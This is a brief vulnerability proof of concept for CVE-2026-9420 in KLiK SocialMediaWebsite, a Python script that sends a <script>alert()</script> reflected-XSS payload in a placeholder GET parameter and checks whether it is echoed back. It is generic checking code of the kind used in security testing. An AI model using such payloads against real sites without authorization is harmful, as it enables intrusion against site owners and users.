CVE-2026-9420 KLiK SocialMediaWebsite 注入漏洞

# PoC for CVE-2026-9420: Injection via HTTP GET Parameter import requests def check_vulnerability(target_url): # Malicious payload to test injection (XSS example based on UI:R) payload = "<script>alert('CVE-2026-9420_PoC')</script>" # Construct the malicious URL params = { "vulnerable_parameter": payload } try: response = requests.get(target_url, params=params, timeout=5) # Check if the payload is reflected in the response without encoding if payload in response.text: print("[+] Vulnerability Confirmed: Payload reflected in response.") print(f"[+] Exploit URL: {response.url}") else: print("[-] Vulnerability not confirmed or payload sanitized.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://target-site/index.php" # Replace with actual target check_vulnerability(target)